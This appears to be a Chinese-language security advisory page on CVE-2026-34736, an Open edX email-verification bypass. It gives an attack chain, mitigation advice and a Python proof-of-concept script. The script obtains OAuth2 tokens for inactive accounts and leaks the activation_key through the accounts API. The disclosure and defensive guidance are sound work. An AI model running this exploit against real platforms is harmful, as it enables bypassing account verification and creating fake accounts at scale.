IPBUF安全漏洞报告
English
CVE-2026-34736 CVSS 5.3 中危

CVE-2026-34736 Open edX邮箱验证绕过漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34736
漏洞类型
认证绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open edX Platform

相关标签

认证绕过信息泄露Open edXAPI安全CVE-2026-34736

漏洞概述

Open edX Platform在maple版本至ulmo版本之前的范围内存在安全漏洞。未经身份验证的攻击者可以利用组合漏洞完全绕过电子邮件验证流程。该漏洞由两个问题结合而成:一是OAuth2密码授权模式允许向非活跃用户颁发令牌(属于文档化行为);二是`/api/user/v1/accounts/`端点的REST API响应中意外暴露了`activation_key`。攻击者利用这一特性,能够在不验证邮箱的情况下激活账户,从而获取平台访问权限。该问题已在ulmo版本中得到修复。

技术细节

该漏洞的核心在于OAuth2认证流程与用户信息API之间的逻辑缺陷。攻击者首先在平台上注册一个新账户,此时账户处于未激活状态。根据Open edX的OAuth2实现机制,攻击者可以使用该未激活账户的用户名和密码直接申请OAuth2访问令牌,系统会正常颁发令牌。随后,攻击者利用获取到的令牌向`/api/user/v1/accounts/`端点发送请求。由于后端未对敏感数据进行充分的过滤,API响应中直接返回了用户的详细信息,其中包括用于激活账户的`activation_key`。攻击者解析响应提取该密钥,并向相应的激活接口发送请求,即可成功绕过邮箱验证步骤直接激活账户。这一过程使得攻击者能够批量创建虚假账户,严重破坏了用户身份验证机制的安全性。

攻击链分析

STEP 1
步骤1
攻击者在Open edX平台注册一个新账户,该账户处于未激活状态。
STEP 2
步骤2
攻击者使用该未激活账户的凭据,通过OAuth2密码授权模式获取有效的访问令牌。
STEP 3
步骤3
攻击者利用获取的令牌访问`/api/user/v1/accounts/`端点,从响应数据中提取`activation_key`。
STEP 4
步骤4
攻击者使用泄露的`activation_key`构造请求直接激活账户,成功绕过邮箱验证。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests TARGET_URL = "https://target-openedx-instance.com" USERNAME = "[email protected]" PASSWORD = "password123" CLIENT_ID = "your_client_id" CLIENT_SECRET = "your_client_secret" def exploit(): # Step 1: Obtain OAuth2 token using inactive user credentials print("[+] Attempting to get OAuth2 token for inactive user...") token_url = f"{TARGET_URL}/oauth2/access_token/" payload = { "grant_type": "password", "client_id": CLIENT_ID, "client_secret": CLIENT_SECRET, "username": USERNAME, "password": PASSWORD } try: resp = requests.post(token_url, data=payload) resp.raise_for_status() access_token = resp.json().get('access_token') print(f"[+] Token obtained: {access_token[:10]}...") except Exception as e: print(f"[-] Failed to get token: {e}") return # Step 2: Leak activation_key via REST API print("[+] Querying API to leak activation_key...") accounts_url = f"{TARGET_URL}/api/user/v1/accounts/" headers = {"Authorization": f"Bearer {access_token}"} try: resp = requests.get(accounts_url, headers=headers) resp.raise_for_status() user_data = resp.json() # Assuming the API returns a list or a dict containing user details if isinstance(user_data, list) and len(user_data) > 0: activation_key = user_data[0].get('activation_key') else: activation_key = user_data.get('activation_key') if activation_key: print(f"[+] Leaked activation_key: {activation_key}") # Step 3: Activate account (hypothetical endpoint based on key usage) activate_url = f"{TARGET_URL}/activate/{activation_key}" print(f"[+] Attempting to activate account via: {activate_url}") # requests.get(activate_url) # Uncomment to perform activation else: print("[-] activation_key not found in response.") except Exception as e: print(f"[-] Failed to leak key: {e}") if __name__ == "__main__": exploit()

影响范围

Open edX Platform (maple 到 ulmo 之前的版本)

防御指南

临时缓解措施
如果无法立即升级,建议在API网关或应用层面实施严格的响应过滤规则,确保`/api/user/v1/accounts/`接口的返回数据中不包含`activation_key`。此外,应限制OAuth2密码授权模式仅对已通过邮箱验证的用户开放,或者对未激活用户的API访问权限进行更严格的隔离。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表